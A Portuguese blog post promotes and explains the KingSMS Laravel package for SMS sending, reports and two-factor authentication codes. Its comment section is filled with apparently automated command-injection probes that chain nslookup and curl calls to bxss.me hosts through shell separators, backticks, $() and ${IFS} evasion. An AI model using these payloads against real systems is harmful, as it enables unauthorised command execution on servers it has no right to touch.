Se você está desenvolvendo uma aplicação com Laravel e deseja implementar envio de SMS, autenticação em duas etapas (2FA), notificações por SMS, ou mesmo consultar saldo e relatórios de mensagens, o pacote KingSMS para Laravel foi feito para você.
Este pacote foi desenvolvido para integrar de forma rápida, segura e intuitiva a API da KingSMS com qualquer projeto Laravel, seja para validação de login com SMS, notificações transacionais, mensagens promocionais ou alertas em tempo real.
O KingSMS Laravel Package, mantido por Anderson Arruda e Sysborg, é uma biblioteca que conecta sua aplicação Laravel à plataforma da KingSMS, permitindo:
Seja para 2FA (Two Factor Authentication) ou comunicação com clientes via SMS, este pacote oferece uma solução pronta para produção.
Basta executar o comando abaixo no terminal do seu projeto Laravel:
composer require sysborg/kingsms
Sem necessidade de registrar o provider: o Laravel já detecta automaticamente via auto-discovery.
Adicione suas credenciais da KingSMS no arquivo .env do Laravel:
KINGSMS_URL=https://painel.kingsms.com.br/kingsms/api.php
KINGSMS_LOGIN=seu_login
KINGSMS_TOKEN=seu_token
A URL padrão da API já está definida, mas você pode sobrescrevê-la conforme necessário.
use Facades\Sysborg\KingSMS\Services\KingSMS;
$response = KingSMS::sendSMS(
'5598999999999', // Número de telefone com DDI e DDD
'Sua mensagem de teste', // Conteúdo da mensagem
'Minha Campanha Opcional',
'15/10/2025',
'13:30'
);
Ideal para validação de usuários via código SMS, envio de campanhas promocionais, mensagens automáticas, e muito mais.
$response = KingSMS::getRelatorio('id_da_mensagem');
Receba detalhes sobre o status do envio, entregas e falhas.
$response = KingSMS::getSaldo();
Verifique rapidamente quanto ainda pode ser utilizado em envios SMS.
$response = KingSMS::getResposta('read'); // ou 'unread'
Ideal para campanhas interativas, confirmações de presença, enquetes e outros cenários de interação via SMS.
Com suporte total à Laravel Notification System, você pode enviar notificações diretamente por SMS da seguinte forma:
php artisan make:notification):public function via($notifiable)
{
return ['kingsms'];
}
public function toKingsms($notifiable)
{
return 'Seu código de verificação é: 123456';
}
User ou outro notifiable:public function routeNotificationForKingsms(): ?string
{
$phone = preg_replace('/\D/', '', $this->phone); // remove caracteres não numéricos
return $phone ? '+55' . $phone : null;
}
Agora você pode fazer algo como:
$user->notify(new YourSmsNotification());
Com este pacote, você pode configurar o envio do código 2FA via SMS em poucos minutos. Ele pode ser usado com Laravel Breeze, Jetstream ou qualquer outro sistema de autenticação.
Se você precisa enviar SMS com Laravel, implementar 2FA via SMS, ou automatizar mensagens com a API KingSMS, o pacote sysborg/kingsms é uma escolha prática e eficiente.
Ele segue os padrões modernos do Laravel, suporta Facades, é testável, leve e oferece integração completa com o sistema de notificações da framework. Tudo isso com uma API simples e segura.
Comece agora mesmo a fortalecer a comunicação da sua aplicação Laravel com SMS e autenticação em dois fatores!
Execute:
composer require sysborg/kingsms
e transforme a experiência do seu usuário. 🔐📱
pHqghUme
22/04/2026 09:48expr 9000266529 - 973908
pHqghUme
22/04/2026 09:48555
pHqghUme
22/04/2026 09:48555
pHqghUme
22/04/2026 09:48(nslookup -q=cname hitluwsnziysj5ac9e.bxss.me||curl hitluwsnziysj5ac9e.bxss.me))
pHqghUme
22/04/2026 09:48$(nslookup -q=cname hitkfwvnxhyty5ade1.bxss.me||curl hitkfwvnxhyty5ade1.bxss.me)
pHqghUme
22/04/2026 09:48555
pHqghUme
22/04/2026 09:48555
pHqghUme
22/04/2026 09:48&nslookup -q=cname hitsyhowaajfl5b60d.bxss.me&'\"`0&nslookup -q=cname hitsyhowaajfl5b60d.bxss.me&`'
pHqghUme
22/04/2026 09:48555
pHqghUme
22/04/2026 09:48555
pHqghUme
22/04/2026 09:48&(nslookup -q=cname hitwqyjqlfnkddc829.bxss.me||curl hitwqyjqlfnkddc829.bxss.me)&'\"`0&(nslookup -q=cname hitwqyjqlfnkddc829.bxss.me||curl hitwqyjqlfnkddc829.bxss.me)&`'
pHqghUme
22/04/2026 09:48|(nslookup -q=cname hitawutfgehvo22b9f.bxss.me||curl hitawutfgehvo22b9f.bxss.me)
pHqghUme
22/04/2026 09:48555
pHqghUme
22/04/2026 09:48555
pHqghUme
22/04/2026 09:48555
pHqghUme
22/04/2026 09:48`(nslookup -q=cname hitcsygothlirdcc90.bxss.me||curl hitcsygothlirdcc90.bxss.me)`
pHqghUme
22/04/2026 09:48555
pHqghUme
22/04/2026 09:48;(nslookup -q=cname hitpvypbduqaga33bd.bxss.me||curl hitpvypbduqaga33bd.bxss.me)|(nslookup -q=cname hitpvypbduqaga33bd.bxss.me||curl hitpvypbduqaga33bd.bxss.me)&(nslookup -q=cname hitpvypbduqaga33bd.bxss.me||curl hitpvypbduqaga33bd.bxss.me)
pHqghUme
22/04/2026 09:48555
pHqghUme
22/04/2026 09:48|(nslookup${IFS}-q${IFS}cname${IFS}hitngbcrkgthj49fec.bxss.me||curl${IFS}hitngbcrkgthj49fec.bxss.me)